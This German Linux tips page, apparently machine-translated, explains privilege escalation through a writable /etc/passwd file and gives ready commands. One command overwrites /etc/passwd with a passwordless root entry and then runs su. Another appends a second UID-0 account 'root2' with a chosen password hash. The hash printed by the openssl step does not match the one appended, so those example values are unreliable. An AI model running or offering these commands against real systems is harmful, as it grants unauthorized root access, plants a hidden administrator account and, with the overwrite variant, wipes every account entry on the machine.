GNU/Linux >> LINUX-Kenntnisse >  >> Linux

Rechteausweitung mit passwd-Datei

Passwörter werden normalerweise in /etc/shadow gespeichert , die für Benutzer nicht lesbar ist. Historisch gesehen wurden sie jedoch in der allgemein lesbaren Datei /etc/passwd gespeichert zusammen mit allen Kontoinformationen. Aus Gründen der Abwärtskompatibilität, wenn ein Passwort-Hash in der zweiten Spalte in /etc/passwd vorhanden ist , hat es Vorrang vor dem in /etc/shadow .

Historisch ein leeres zweites Feld in /etc/passwd bedeutet, dass das Konto kein Passwort hat, d.h. jeder kann sich ohne Passwort anmelden (wird für Gastkonten verwendet). Dies ist manchmal deaktiviert. Wenn passwortlose Konten deaktiviert sind, können Sie den Hash eines Passworts Ihrer Wahl eingeben. Sie können den crypt verwenden Funktion zum Generieren von Passwort-Hashes, zum Beispiel perl -le 'print crypt("foo", "aa")' um das Passwort auf foo zu setzen .

Es ist möglich, Root-Zugriff zu erhalten, selbst wenn Sie nur an /etc/passwd anhängen können und den Inhalt nicht überschreiben. Das liegt daran, dass es möglich ist, mehrere Einträge für denselben Benutzer zu haben, solange sie unterschiedliche Namen haben – Benutzer werden durch ihre ID identifiziert, nicht durch ihren Namen, und das definierende Merkmal des Root-Kontos ist nicht sein Name, sondern die Tatsache, dass er es ist hat die Benutzer-ID 0. Sie können also ein alternatives Root-Konto erstellen, indem Sie eine Zeile anhängen, die ein Konto mit einem anderen Namen, einem Passwort Ihrer Wahl und der Benutzer-ID 0 angibt.


Geben Sie einfach ein:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

und du bist root.

(Entfernen von x bedeutet, dass root kein Passwort mehr benötigt, Sie können sed verwenden Befehl anstelle von echo aber das reicht aus, um die Root-Shell zu bekommen)


Sie können diese zerstörungsfreie Methode verwenden:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 

Linux
  1. Setzen Sie ein MySQL-Root-Passwort zurück

  2. So automatisieren Sie sftp-Dateiübertragungen mit dem Dienstprogramm „expect“.

  3. Verwenden des passwd-Befehls innerhalb eines Shell-Skripts

  4. Verwenden von nc zum Übertragen großer Dateien

  5. Stellen Sie über die Befehlszeile eine Verbindung zu MySQL her, ohne das Root-Passwort zu verwenden?

Verwenden der SSH-Konfigurationsdatei

Verwendung von PHP-FPM mit Apache unter Ubuntu 16.04

Wie man eine Datei mit Vim unter Linux mit einem Passwort schützt

Erstellen Sie mit Crunch eine benutzerdefinierte Wortliste (Passwortgenerator-Dump-Datei).

Wie ändere ich das Root-Passwort mit WHM?

Wie man Dateien mit dem Vim-Editor in Ubuntu mit einem Passwort schützt